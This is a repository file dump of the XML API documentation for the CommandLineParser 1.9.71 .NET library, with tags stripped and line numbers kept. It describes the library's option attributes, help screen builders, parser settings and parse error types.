| Initializes a new instance of the class, 1255 | setting case comparison and mutually exclusive behaviors. 1256 | 1257 | If set to true, parsing will be case sensitive. 1258 | If set to true, enable mutually exclusive behavior. 1259 | 1260 | 1261 | 1262 | Initializes a new instance of the class, 1263 | setting case comparison, mutually exclusive behavior and help output option. 1264 | 1265 | If set to true, parsing will be case sensitive. 1266 | If set to true, enable mutually exclusive behavior. 1267 | Any instance derived from , 1268 | default . Setting this argument to null, will disable help screen. 1269 | 1270 | 1271 | 1272 | Initializes a new instance of the class, 1273 | setting case comparison, mutually exclusive behavior and help output option. 1274 | 1275 | If set to true, parsing will be case sensitive. 1276 | If set to true, enable mutually exclusive behavior. 1277 | If set to true, allow the parser to skip unknown argument, otherwise return a parse failure 1278 | Any instance derived from , 1279 | default . Setting this argument to null, will disable help screen. 1280 | 1281 | 1282 | 1283 | Finalizes an instance of the class. 1284 | 1285 | 1286 | 1287 | 1288 | Frees resources owned by the instance. 1289 | 1290 | 1291 | 1292 | 1293 | Gets or sets a value indicating whether perform case sensitive comparisons. 1294 | 1295 | 1296 | 1297 | 1298 | Gets or sets a value indicating whether set a mutually exclusive behavior. 1299 | Default is set to false. 1300 | 1301 | 1302 | 1303 | 1304 | Gets or sets the used for help method output. 1305 | Setting this property to null, will disable help screen. 1306 | 1307 | 1308 | 1309 | 1310 | Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it 1311 | encounter an unknown arguments 1312 | 1313 | 1314 | true to allow parsing the arguments with different class options that do not have all the arguments. 1315 | 1316 | 1317 | This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but 1318 | when these are unknown by the main program at build time. 1319 | 1320 | 1321 | 1322 | 1323 | Gets or sets the culture used when parsing arguments to typed properties. 1324 | 1325 | 1326 | Default is CurrentCulture of . 1327 | 1328 | 1329 | 1330 | 1331 | Represents the parser state. 1332 | 1333 | 1334 | 1335 | 1336 | Gets errors occurred during parsing. 1337 | 1338 | 1339 | 1340 | 1341 | Models a type that records the parser state after parsing. 1342 | 1343 | 1344 | 1345 | 1346 | Gets a list of parsing errors. 1347 | 1348 | 1349 | Parsing errors. 1350 | 1351 | 1352 | 1353 | 1354 | Models a parsing error. 1355 | 1356 | 1357 | 1358 | 1359 | Gets or a the bad parsed option. 1360 | 1361 | 1362 | The bad option. 1363 | 1364 | 1365 | 1366 | 1367 | Gets or sets a value indicating whether this violates required. 1368 | 1369 | 1370 | true if violates required; otherwise, false. 1371 | 1372 | 1373 | 1374 | 1375 | Gets or sets a value indicating whether this violates format. 1376 | 1377 | 1378 | true if violates format; otherwise, false. 1379 | 1380 | 1381 | 1382 | 1383 | Gets or sets a value indicating whether this violates mutual exclusiveness. 1384 | 1385 | 1386 | true if violates mutual exclusiveness; otherwise, false. 1387 | 1388 | 1389 | 1390 | 1391 | -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/lib/net40/CommandLine.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CommandLine 5 | 6 | 7 | 8 | 9 | Provides base properties for creating an attribute, used to define rules for command line parsing. 10 | 11 | 12 | 13 | 14 | Initializes a new instance of the class. 15 | 16 | 17 | 18 | 19 | Initializes a new instance of the class. 20 | Validating and . 21 | 22 | Short name of the option. 23 | Long name of the option. 24 | 25 | 26 | 27 | Initializes a new instance of the class. Validating 28 | and . This constructor accepts a as short name. 29 | 30 | Short name of the option. 31 | Long name of the option. 32 | 33 | 34 | 35 | Gets a short name of this command line option. You can use only one character. 36 | 37 | 38 | 39 | 40 | Gets long name of this command line option. This name is usually a single english word. 41 | 42 | 43 | 44 | 45 | Gets or sets the option's mutually exclusive set. 46 | 47 | 48 | 49 | 50 | Gets or sets a value indicating whether a command line option is required. 51 | 52 | 53 | 54 | 55 | Gets or sets mapped property default value. 56 | 57 | 58 | 59 | 60 | Gets or sets mapped property meta value. 61 | 62 | 63 | 64 | 65 | Gets or sets a short description of this command line option. Usually a sentence summary. 66 | 67 | 68 | 69 | 70 | Models an option specification. 71 | 72 | 73 | 74 | 75 | Initializes a new instance of the class. 76 | The default long name will be inferred from target property. 77 | 78 | 79 | 80 | 81 | Initializes a new instance of the class. 82 | 83 | The short name of the option.. 84 | 85 | 86 | 87 | Initializes a new instance of the class. 88 | 89 | The long name of the option. 90 | 91 | 92 | 93 | Initializes a new instance of the class. 94 | 95 | The short name of the option. 96 | The long name of the option or null if not used. 97 | 98 | 99 | 100 | Helper factory method for testing purpose. 101 | 102 | An instance. 103 | 104 | 105 | 106 | Models an option that can accept multiple values as separated arguments. 107 | 108 | 109 | 110 | 111 | Initializes a new instance of the class. 112 | The default long name will be inferred from target property. 113 | 114 | 115 | 116 | 117 | Initializes a new instance of the class. 118 | 119 | The short name of the option. 120 | 121 | 122 | 123 | Initializes a new instance of the class. 124 | 125 | The long name of the option. 126 | 127 | 128 | 129 | Initializes a new instance of the class. 130 | 131 | The short name of the option. 132 | The long name of the option or null if not used. 133 | 134 | 135 | 136 | Indicates the instance method that must be invoked when it becomes necessary show your help screen. 137 | The method signature is an instance method with no parameters and 138 | return value. 139 | 140 | 141 | 142 | 143 | Initializes a new instance of the class. 144 | Although it is possible, it is strongly discouraged redefine the long name for this option 145 | not to disorient your users. It is also recommended not to define a short one. 146 | 147 | 148 | 149 | 150 | Initializes a new instance of the class 151 | with the specified short name. Use parameter less constructor instead. 152 | 153 | The short name of the option. 154 | 155 | It's highly not recommended change the way users invoke help. It may create confusion. 156 | 157 | 158 | 159 | 160 | Initializes a new instance of the class 161 | with the specified long name. Use parameter less constructor instead. 162 | 163 | The long name of the option or null if not used. 164 | 165 | It's highly not recommended change the way users invoke help. It may create confusion. 166 | 167 | 168 | 169 | 170 | Initializes a new instance of the class. 171 | Allows you to define short and long option names. 172 | 173 | The short name of the option. 174 | The long name of the option or null if not used. 175 | 176 | It's highly not recommended change the way users invoke help. It may create confusion. 177 | 178 | 179 | 180 | 181 | Returns always false for this kind of option. 182 | This behaviour can't be changed by design; if you try set 183 | an will be thrown. 184 | 185 | 186 | 187 | 188 | Models an option that can accept multiple values. 189 | Must be applied to a field compatible with an interface 190 | of instances. 191 | 192 | 193 | 194 | 195 | Initializes a new instance of the class. 196 | The default long name will be inferred from target property. 197 | 198 | 199 | 200 | 201 | Initializes a new instance of the class. 202 | 203 | The short name of the option. 204 | 205 | 206 | 207 | Initializes a new instance of the class. 208 | 209 | The long name of the option or null if not used. 210 | 211 | 212 | 213 | Initializes a new instance of the class. 214 | 215 | The short name of the option. 216 | The long name of the option or null if not used. 217 | 218 | 219 | 220 | Initializes a new instance of the class. 221 | 222 | The short name of the option or null if not used. 223 | The long name of the option or null if not used. 224 | Values separator character. 225 | 226 | 227 | 228 | Gets or sets the values separator character. 229 | 230 | 231 | 232 | 233 | Indicates that the property can receive an instance of type . 234 | 235 | 236 | 237 | 238 | Models a list of command line arguments that are not options. 239 | Must be applied to a field compatible with an interface 240 | of instances. 241 | 242 | To map individual values use instead . 243 | 244 | 245 | 246 | Initializes a new instance of the class. 247 | 248 | A type that implements . 249 | Thrown if is null. 250 | 251 | 252 | 253 | Gets or sets the maximum element allow for the list managed by type. 254 | If lesser than 0, no upper bound is fixed. 255 | If equal to 0, no elements are allowed. 256 | 257 | 258 | 259 | 260 | Gets the concrete type specified during initialization. 261 | 262 | 263 | 264 | 265 | Maps a single unnamed option to the target property. Values will be mapped in order of Index. 266 | This attribute takes precedence over with which 267 | can coexist. 268 | 269 | It can handle only scalar values. Do not apply to arrays or lists. 270 | 271 | 272 | 273 | Initializes a new instance of the class. 274 | 275 | The _index of the option. 276 | 277 | 278 | 279 | Gets the position this option has on the command line. 280 | 281 | 282 | 283 | 284 | Utility extension methods for System.Char. 285 | 286 | 287 | 288 | 289 | Encapsulates property writing primitives. 290 | 291 | 292 | 293 | 294 | Utility extension methods for System.String. 295 | 296 | 297 | 298 | 299 | Gets or sets the assembly from which to pull information. Setter provided for testing purpose. 300 | 301 | 302 | 303 | 304 | Utility extension methods for query target capabilities. 305 | 306 | 307 | 308 | 309 | Maps unnamed options to property using and . 310 | 311 | 312 | 313 | 314 | Helper method for testing purpose. 315 | 316 | An argument enumerator instance. 317 | The next input value. 318 | 319 | 320 | 321 | Initializes a new instance of the class. Used for unit testing purpose. 322 | 323 | Option short name. 324 | Option long name. 325 | 326 | 327 | 328 | Initializes a new instance of the class. 329 | It is internal rather than private for unit testing purpose. 330 | 331 | Initial internal capacity. 332 | Parser settings instance. 333 | 334 | 335 | 336 | Provides means to format an help screen. 337 | You can assign it in place of a instance. 338 | 339 | 340 | 341 | 342 | Initializes a new instance of the class. 343 | 344 | 345 | 346 | 347 | Initializes a new instance of the class 348 | specifying the sentence builder. 349 | 350 | 351 | A instance. 352 | 353 | 354 | 355 | 356 | Initializes a new instance of the class 357 | specifying heading string. 358 | 359 | An heading string or an instance of . 360 | Thrown when parameter is null or empty string. 361 | 362 | 363 | 364 | Initializes a new instance of the class 365 | specifying the sentence builder and heading string. 366 | 367 | A instance. 368 | A string with heading or an instance of . 369 | 370 | 371 | 372 | Initializes a new instance of the class 373 | specifying heading and copyright strings. 374 | 375 | A string with heading or an instance of . 376 | A string with copyright or an instance of . 377 | Thrown when one or more parameters are null or empty strings. 378 | 379 | 380 | 381 | Initializes a new instance of the class 382 | specifying heading and copyright strings. 383 | 384 | A instance. 385 | A string with heading or an instance of . 386 | A string with copyright or an instance of . 387 | Thrown when one or more parameters are null or empty strings. 388 | 389 | 390 | 391 | Initializes a new instance of the class 392 | specifying heading and copyright strings. 393 | 394 | A string with heading or an instance of . 395 | A string with copyright or an instance of . 396 | The instance that collected command line arguments parsed with class. 397 | Thrown when one or more parameters are null or empty strings. 398 | 399 | 400 | 401 | Initializes a new instance of the class 402 | specifying heading and copyright strings. 403 | 404 | A instance. 405 | A string with heading or an instance of . 406 | A string with copyright or an instance of . 407 | The instance that collected command line arguments parsed with class. 408 | Thrown when one or more parameters are null or empty strings. 409 | 410 | 411 | 412 | Creates a new instance of the class using common defaults. 413 | 414 | 415 | An instance of class. 416 | 417 | The instance that collected command line arguments parsed with class. 418 | 419 | 420 | 421 | Creates a new instance of the class using common defaults. 422 | 423 | 424 | An instance of class. 425 | 426 | The instance that collected command line arguments parsed with class. 427 | A delegate used to customize the text block for reporting parsing errors. 428 | If true the output style is consistent with verb commands (no dashes), otherwise it outputs options. 429 | 430 | 431 | 432 | Creates a new instance of the class using common defaults, 433 | for verb commands scenario. 434 | 435 | 436 | An instance of class. 437 | 438 | The instance that collected command line arguments parsed with class. 439 | The verb command invoked. 440 | 441 | 442 | 443 | Supplies a default parsing error handler implementation. 444 | 445 | The instance that collects parsed arguments parsed and associates 446 | to a property of type . 447 | The instance. 448 | 449 | 450 | 451 | Converts the help instance to a . 452 | 453 | This instance. 454 | The that contains the help screen. 455 | 456 | 457 | 458 | Adds a text line after copyright and before options usage strings. 459 | 460 | A instance. 461 | Thrown when parameter is null or empty string. 462 | 463 | 464 | 465 | Adds a text line at the bottom, after options usage string. 466 | 467 | A instance. 468 | Thrown when parameter is null or empty string. 469 | 470 | 471 | 472 | Adds a text block with options usage string. 473 | 474 | The instance that collected command line arguments parsed with class. 475 | Thrown when parameter is null. 476 | 477 | 478 | 479 | Adds a text block with options usage string. 480 | 481 | The instance that collected command line arguments parsed with the class. 482 | The word to use when the option is required. 483 | Thrown when parameter is null. 484 | Thrown when parameter is null or empty string. 485 | 486 | 487 | 488 | Adds a text block with options usage string. 489 | 490 | The instance that collected command line arguments parsed with the class. 491 | The word to use when the option is required. 492 | The maximum length of the help documentation. 493 | Thrown when parameter is null. 494 | Thrown when parameter is null or empty string. 495 | 496 | 497 | 498 | Builds a string that contains a parsing error message. 499 | 500 | An options target instance that collects parsed arguments parsed with the 501 | associated to a property of type . 502 | Number of spaces used to indent text. 503 | The that contains the parsing error message. 504 | 505 | 506 | 507 | Returns the help screen as a . 508 | 509 | The that contains the help screen. 510 | 511 | 512 | 513 | The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate. 514 | This is the preferred technique for handling the event in a derived class. 515 | 516 | Data for the event. 517 | 518 | 519 | 520 | Occurs when an option help text is formatted. 521 | 522 | 523 | 524 | 525 | Gets or sets the heading string. 526 | You can directly assign a instance. 527 | 528 | 529 | 530 | 531 | Gets or sets the copyright string. 532 | You can directly assign a instance. 533 | 534 | 535 | 536 | 537 | Gets or sets the maximum width of the display. This determines word wrap when displaying the text. 538 | 539 | The maximum width of the display. 540 | 541 | 542 | 543 | Gets or sets a value indicating whether the format of options should contain dashes. 544 | It modifies behavior of method. 545 | 546 | 547 | 548 | 549 | Gets or sets a value indicating whether to add an additional line after the description of the option. 550 | 551 | 552 | 553 | 554 | Gets the instance specified in constructor. 555 | 556 | 557 | 558 | 559 | Models an abstract sentence builder. 560 | 561 | 562 | 563 | 564 | Creates the built in sentence builder. 565 | 566 | The built in sentence builder. 567 | 568 | 569 | 570 | Gets a string containing word 'option'. 571 | 572 | The word 'option'. 573 | 574 | 575 | 576 | Gets a string containing the word 'and'. 577 | 578 | The word 'and'. 579 | 580 | 581 | 582 | Gets a string containing the sentence 'required option missing'. 583 | 584 | The sentence 'required option missing'. 585 | 586 | 587 | 588 | Gets a string containing the sentence 'violates format'. 589 | 590 | The sentence 'violates format'. 591 | 592 | 593 | 594 | Gets a string containing the sentence 'violates mutual exclusiveness'. 595 | 596 | The sentence 'violates mutual exclusiveness'. 597 | 598 | 599 | 600 | Gets a string containing the error heading text. 601 | 602 | The error heading text. 603 | 604 | 605 | 606 | Models an english sentence builder, currently the default one. 607 | 608 | 609 | 610 | 611 | Gets a string containing word 'option' in english. 612 | 613 | The word 'option' in english. 614 | 615 | 616 | 617 | Gets a string containing the word 'and' in english. 618 | 619 | The word 'and' in english. 620 | 621 | 622 | 623 | Gets a string containing the sentence 'required option missing' in english. 624 | 625 | The sentence 'required option missing' in english. 626 | 627 | 628 | 629 | Gets a string containing the sentence 'violates format' in english. 630 | 631 | The sentence 'violates format' in english. 632 | 633 | 634 | 635 | Gets a string containing the sentence 'violates mutual exclusiveness' in english. 636 | 637 | The sentence 'violates mutual exclusiveness' in english. 638 | 639 | 640 | 641 | Gets a string containing the error heading text in english. 642 | 643 | The error heading text in english. 644 | 645 | 646 | 647 | Models the copyright part of an help text. 648 | You can assign it where you assign any instance. 649 | 650 | 651 | 652 | 653 | Initializes a new instance of the class 654 | specifying author and year. 655 | 656 | The company or person holding the copyright. 657 | The year of coverage of copyright. 658 | Thrown when parameter is null or empty string. 659 | 660 | 661 | 662 | Initializes a new instance of the class 663 | specifying author and copyrightYears. 664 | 665 | The company or person holding the copyright. 666 | The copyrightYears of coverage of copyright. 667 | Thrown when parameter is null or empty string. 668 | Thrown when parameter is not supplied. 669 | 670 | 671 | 672 | Initializes a new instance of the class 673 | specifying symbol case, author and copyrightYears. 674 | 675 | The case of the copyright symbol. 676 | The company or person holding the copyright. 677 | The copyrightYears of coverage of copyright. 678 | Thrown when parameter is null or empty string. 679 | Thrown when parameter is not supplied. 680 | 681 | 682 | 683 | Initializes a new instance of the class. 684 | 685 | 686 | 687 | 688 | Initializes a new instance of the class 689 | with an assembly attribute, this overrides all formatting. 690 | 691 | The attribute which text to use. 692 | 693 | 694 | 695 | Converts the copyright instance to a . 696 | 697 | This instance. 698 | The that contains the copyright. 699 | 700 | 701 | 702 | Returns the copyright as a . 703 | 704 | The that contains the copyright. 705 | 706 | 707 | 708 | When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears 709 | as a instance. 710 | 711 | A array of copyrightYears. 712 | A instance with copyright copyrightYears. 713 | 714 | 715 | 716 | Gets the default copyright information. 717 | Retrieved from , if it exists, 718 | otherwise it uses as copyright holder with the current year. 719 | If neither exists it throws an . 720 | 721 | 722 | 723 | 724 | Gets a different copyright word when overridden in a derived class. 725 | 726 | 727 | 728 | 729 | Models the heading part of an help text. 730 | You can assign it where you assign any instance. 731 | 732 | 733 | 734 | 735 | Initializes a new instance of the class 736 | specifying program name. 737 | 738 | The name of the program. 739 | Thrown when parameter is null or empty string. 740 | 741 | 742 | 743 | Initializes a new instance of the class 744 | specifying program name and version. 745 | 746 | The name of the program. 747 | The version of the program. 748 | Thrown when parameter is null or empty string. 749 | 750 | 751 | 752 | Converts the heading to a . 753 | 754 | This instance. 755 | The that contains the heading. 756 | 757 | 758 | 759 | Returns the heading as a . 760 | 761 | The that contains the heading. 762 | 763 | 764 | 765 | Writes out a string and a new line using the program name specified in the constructor 766 | and parameter. 767 | 768 | The message to write. 769 | The target derived type. 770 | Thrown when parameter is null or empty string. 771 | Thrown when parameter is null. 772 | 773 | 774 | 775 | Writes out a string and a new line using the program name specified in the constructor 776 | and parameter to standard output stream. 777 | 778 | The message to write. 779 | Thrown when parameter is null or empty string. 780 | 781 | 782 | 783 | Writes out a string and a new line using the program name specified in the constructor 784 | and parameter to standard error stream. 785 | 786 | The message to write. 787 | Thrown when parameter is null or empty string. 788 | 789 | 790 | 791 | Gets the default heading instance. 792 | The title is retrieved from , 793 | or the assembly short name if its not defined. 794 | The version is retrieved from , 795 | or the assembly version if its not defined. 796 | 797 | 798 | 799 | 800 | Provides base properties for creating an attribute, used to define multiple lines of text. 801 | 802 | 803 | 804 | 805 | Initializes a new instance of the class. Used in derived type 806 | using one line of text. 807 | 808 | The first line of text. 809 | 810 | 811 | 812 | Initializes a new instance of the class. Used in type 813 | using two lines of text. 814 | 815 | The first line of text. 816 | The second line of text. 817 | 818 | 819 | 820 | Initializes a new instance of the class. Used in type 821 | using three lines of text. 822 | 823 | The first line of text. 824 | The second line of text. 825 | The third line of text. 826 | 827 | 828 | 829 | Initializes a new instance of the class. Used in type 830 | using four lines of text. 831 | 832 | The first line of text. 833 | The second line of text. 834 | The third line of text. 835 | The fourth line of text. 836 | 837 | 838 | 839 | Initializes a new instance of the class. Used in type 840 | using five lines of text. 841 | 842 | The first line of text. 843 | The second line of text. 844 | The third line of text. 845 | The fourth line of text. 846 | The fifth line of text. 847 | 848 | 849 | 850 | Returns the last line with text. Preserves blank lines if user intended by skipping a line. 851 | 852 | The last index of line of the non-blank line. 853 | 854 | The string array to process. 855 | 856 | 857 | 858 | Gets the all non-blank lines as string. 859 | 860 | A string of all non-blank lines. 861 | 862 | 863 | 864 | Gets the first line of text. 865 | 866 | 867 | 868 | 869 | Gets the second line of text. 870 | 871 | 872 | 873 | 874 | Gets third line of text. 875 | 876 | 877 | 878 | 879 | Gets the fourth line of text. 880 | 881 | 882 | 883 | 884 | Gets the fifth line of text. 885 | 886 | 887 | 888 | 889 | Models a multiline assembly license text. 890 | 891 | 892 | 893 | 894 | Initializes a new instance of the class 895 | with one line of text. 896 | 897 | First line of license text. 898 | 899 | 900 | 901 | Initializes a new instance of the class 902 | with two lines of text. 903 | 904 | First line of license text. 905 | Second line of license text. 906 | 907 | 908 | 909 | Initializes a new instance of the class 910 | with three lines of text. 911 | 912 | First line of license text. 913 | Second line of license text. 914 | Third line of license text. 915 | 916 | 917 | 918 | Initializes a new instance of the class 919 | with four lines of text. 920 | 921 | First line of license text. 922 | Second line of license text. 923 | Third line of license text. 924 | Fourth line of license text. 925 | 926 | 927 | 928 | Initializes a new instance of the class 929 | with five lines of text. 930 | 931 | First line of license text. 932 | Second line of license text. 933 | Third line of license text. 934 | Fourth line of license text. 935 | Fifth line of license text. 936 | 937 | 938 | 939 | Models a multiline assembly usage text. 940 | 941 | 942 | 943 | 944 | Initializes a new instance of the class 945 | with one line of text. 946 | 947 | First line of usage text. 948 | 949 | 950 | 951 | Initializes a new instance of the class 952 | with two lines of text. 953 | 954 | First line of usage text. 955 | Second line of usage text. 956 | 957 | 958 | 959 | Initializes a new instance of the class 960 | with three lines of text. 961 | 962 | First line of usage text. 963 | Second line of usage text. 964 | Third line of usage text. 965 | 966 | 967 | 968 | Initializes a new instance of the class 969 | with four lines of text. 970 | 971 | First line of usage text. 972 | Second line of usage text. 973 | Third line of usage text. 974 | Fourth line of usage text. 975 | 976 | 977 | 978 | Initializes a new instance of the class 979 | with five lines of text. 980 | 981 | First line of usage text. 982 | Second line of usage text. 983 | Third line of usage text. 984 | Fourth line of usage text. 985 | Fifth line of usage text. 986 | 987 | 988 | 989 | Provides data for the FormatOptionHelpText event. 990 | 991 | 992 | 993 | 994 | Initializes a new instance of the class. 995 | 996 | Option to format. 997 | 998 | 999 | 1000 | Gets the option to format. 1001 | 1002 | 1003 | 1004 | 1005 | Indicates the instance method that must be invoked when it becomes necessary show your help screen. 1006 | The method signature is an instance method with that accepts and returns a . 1007 | 1008 | 1009 | 1010 | 1011 | Initializes a new instance of the class. 1012 | Although it is possible, it is strongly discouraged redefine the long name for this option 1013 | not to disorient your users. 1014 | 1015 | 1016 | 1017 | 1018 | Initializes a new instance of the class 1019 | with the specified long name. Use parameter less constructor instead. 1020 | 1021 | Help verb option alternative name. 1022 | 1023 | It's highly not recommended change the way users invoke help. It may create confusion. 1024 | 1025 | 1026 | 1027 | 1028 | Help verb command do not support short name by design. 1029 | 1030 | 1031 | 1032 | 1033 | Help verb command like ordinary help option cannot be mandatory by design. 1034 | 1035 | 1036 | 1037 | 1038 | Models a verb command specification. 1039 | 1040 | 1041 | 1042 | 1043 | Initializes a new instance of the class. 1044 | 1045 | The long name of the verb command. 1046 | 1047 | 1048 | 1049 | Verb commands do not support short name by design. 1050 | 1051 | 1052 | 1053 | 1054 | Verb commands cannot be mandatory since are mutually exclusive by design. 1055 | 1056 | 1057 | 1058 | 1059 | Models a bad parsed option. 1060 | 1061 | 1062 | 1063 | 1064 | Gets the short name of the option. 1065 | 1066 | Returns the short name of the option. 1067 | 1068 | 1069 | 1070 | Gets the long name of the option. 1071 | 1072 | Returns the long name of the option. 1073 | 1074 | 1075 | 1076 | Provides methods to parse command line arguments. 1077 | 1078 | 1079 | 1080 | 1081 | Default exit code (1) used by 1082 | and overloads. 1083 | 1084 | 1085 | 1086 | 1087 | Initializes a new instance of the class. 1088 | 1089 | 1090 | 1091 | 1092 | Initializes a new instance of the class, 1093 | configurable with a object. 1094 | 1095 | The object is used to configure 1096 | aspects and behaviors of the parser. 1097 | 1098 | 1099 | 1100 | Initializes a new instance of the class, 1101 | configurable with using a delegate. 1102 | 1103 | The delegate used to configure 1104 | aspects and behaviors of the parser. 1105 | 1106 | 1107 | 1108 | Finalizes an instance of the class. 1109 | 1110 | 1111 | 1112 | 1113 | Parses a array of command line arguments, setting values in 1114 | parameter instance's public fields decorated with appropriate attributes. 1115 | 1116 | A array of command line arguments. 1117 | An instance used to receive values. 1118 | Parsing rules are defined using derived types. 1119 | True if parsing process succeed. 1120 | Thrown if is null. 1121 | Thrown if is null. 1122 | 1123 | 1124 | 1125 | Parses a array of command line arguments with verb commands, setting values in 1126 | parameter instance's public fields decorated with appropriate attributes. 1127 | This overload supports verb commands. 1128 | 1129 | A array of command line arguments. 1130 | An instance used to receive values. 1131 | Parsing rules are defined using derived types. 1132 | Delegate executed to capture verb command name and instance. 1133 | True if parsing process succeed. 1134 | Thrown if is null. 1135 | Thrown if is null. 1136 | Thrown if is null. 1137 | 1138 | 1139 | 1140 | Parses a array of command line arguments, setting values in 1141 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes 1142 | the delegate, if null exits with . 1143 | 1144 | A array of command line arguments. 1145 | An object's instance used to receive values. 1146 | Parsing rules are defined using derived types. 1147 | The delegate executed when parsing fails. 1148 | True if parsing process succeed. 1149 | Thrown if is null. 1150 | Thrown if is null. 1151 | 1152 | 1153 | 1154 | Parses a array of command line arguments with verb commands, setting values in 1155 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes 1156 | the delegate, if null exits with . 1157 | This overload supports verb commands. 1158 | 1159 | A array of command line arguments. 1160 | An instance used to receive values. 1161 | Parsing rules are defined using derived types. 1162 | Delegate executed to capture verb command name and instance. 1163 | The delegate executed when parsing fails. 1164 | True if parsing process succeed. 1165 | Thrown if is null. 1166 | Thrown if is null. 1167 | Thrown if is null. 1168 | 1169 | 1170 | 1171 | Frees resources owned by the instance. 1172 | 1173 | 1174 | 1175 | 1176 | Gets the singleton instance created with basic defaults. 1177 | 1178 | 1179 | 1180 | 1181 | Gets the instance that implements in use. 1182 | 1183 | 1184 | 1185 | 1186 | This exception is thrown when a generic parsing error occurs. 1187 | 1188 | 1189 | 1190 | 1191 | Initializes a new instance of the class. The exception is thrown 1192 | when something unexpected occurs during the parsing process. 1193 | 1194 | 1195 | 1196 | 1197 | Initializes a new instance of the class. The exception is thrown 1198 | when something unexpected occurs during the parsing process. 1199 | 1200 | Error message string. 1201 | 1202 | 1203 | 1204 | Initializes a new instance of the class. The exception is thrown 1205 | when something unexpected occurs during the parsing process. 1206 | 1207 | Error message string. 1208 | Inner exception reference. 1209 | 1210 | 1211 | 1212 | Initializes a new instance of the class. The exception is thrown 1213 | when something unexpected occurs during the parsing process. 1214 | 1215 | The object that holds the serialized object data. 1216 | The contextual information about the source or destination. 1217 | 1218 | 1219 | 1220 | Provides settings for . Once consumed cannot be reused. 1221 | 1222 | 1223 | 1224 | 1225 | Initializes a new instance of the class. 1226 | 1227 | 1228 | 1229 | 1230 | Initializes a new instance of the class, 1231 | setting the case comparison behavior. 1232 | 1233 | If set to true, parsing will be case sensitive. 1234 | 1235 | 1236 | 1237 | Initializes a new instance of the class, 1238 | setting the used for help method output. 1239 | 1240 | Any instance derived from , 1241 | default . Setting this argument to null, will disable help screen. 1242 | 1243 | 1244 | 1245 | Initializes a new instance of the class, 1246 | setting case comparison and help output options. 1247 | 1248 | If set to true, parsing will be case sensitive. 1249 | Any instance derived from , 1250 | default . Setting this argument to null, will disable help screen. 1251 | 1252 | 1253 | 1254 | Initializes a new instance of the class, 1255 | setting case comparison and mutually exclusive behaviors. 1256 | 1257 | If set to true, parsing will be case sensitive. 1258 | If set to true, enable mutually exclusive behavior. 1259 | 1260 | 1261 | 1262 | Initializes a new instance of the class, 1263 | setting case comparison, mutually exclusive behavior and help output option. 1264 | 1265 | If set to true, parsing will be case sensitive. 1266 | If set to true, enable mutually exclusive behavior. 1267 | Any instance derived from , 1268 | default . Setting this argument to null, will disable help screen. 1269 | 1270 | 1271 | 1272 | Initializes a new instance of the class, 1273 | setting case comparison, mutually exclusive behavior and help output option. 1274 | 1275 | If set to true, parsing will be case sensitive. 1276 | If set to true, enable mutually exclusive behavior. 1277 | If set to true, allow the parser to skip unknown argument, otherwise return a parse failure 1278 | Any instance derived from , 1279 | default . Setting this argument to null, will disable help screen. 1280 | 1281 | 1282 | 1283 | Finalizes an instance of the class. 1284 | 1285 | 1286 | 1287 | 1288 | Frees resources owned by the instance. 1289 | 1290 | 1291 | 1292 | 1293 | Gets or sets a value indicating whether perform case sensitive comparisons. 1294 | 1295 | 1296 | 1297 | 1298 | Gets or sets a value indicating whether set a mutually exclusive behavior. 1299 | Default is set to false. 1300 | 1301 | 1302 | 1303 | 1304 | Gets or sets the used for help method output. 1305 | Setting this property to null, will disable help screen. 1306 | 1307 | 1308 | 1309 | 1310 | Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it 1311 | encounter an unknown arguments 1312 | 1313 | 1314 | true to allow parsing the arguments with different class options that do not have all the arguments. 1315 | 1316 | 1317 | This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but 1318 | when these are unknown by the main program at build time. 1319 | 1320 | 1321 | 1322 | 1323 | Gets or sets the culture used when parsing arguments to typed properties. 1324 | 1325 | 1326 | Default is CurrentCulture of . 1327 | 1328 | 1329 | 1330 | 1331 | Represents the parser state. 1332 | 1333 | 1334 | 1335 | 1336 | Gets errors occurred during parsing. 1337 | 1338 | 1339 | 1340 | 1341 | Models a type that records the parser state after parsing. 1342 | 1343 | 1344 | 1345 | 1346 | Gets a list of parsing errors. 1347 | 1348 | 1349 | Parsing errors. 1350 | 1351 | 1352 | 1353 | 1354 | Models a parsing error. 1355 | 1356 | 1357 | 1358 | 1359 | Gets or a the bad parsed option. 1360 | 1361 | 1362 | The bad option. 1363 | 1364 | 1365 | 1366 | 1367 | Gets or sets a value indicating whether this violates required. 1368 | 1369 | 1370 | true if violates required; otherwise, false. 1371 | 1372 | 1373 | 1374 | 1375 | Gets or sets a value indicating whether this violates format. 1376 | 1377 | 1378 | true if violates format; otherwise, false. 1379 | 1380 | 1381 | 1382 | 1383 | Gets or sets a value indicating whether this violates mutual exclusiveness. 1384 | 1385 | 1386 | true if violates mutual exclusiveness; otherwise, false. 1387 | 1388 | 1389 | 1390 | 1391 | --------------------------------------------------------------------------------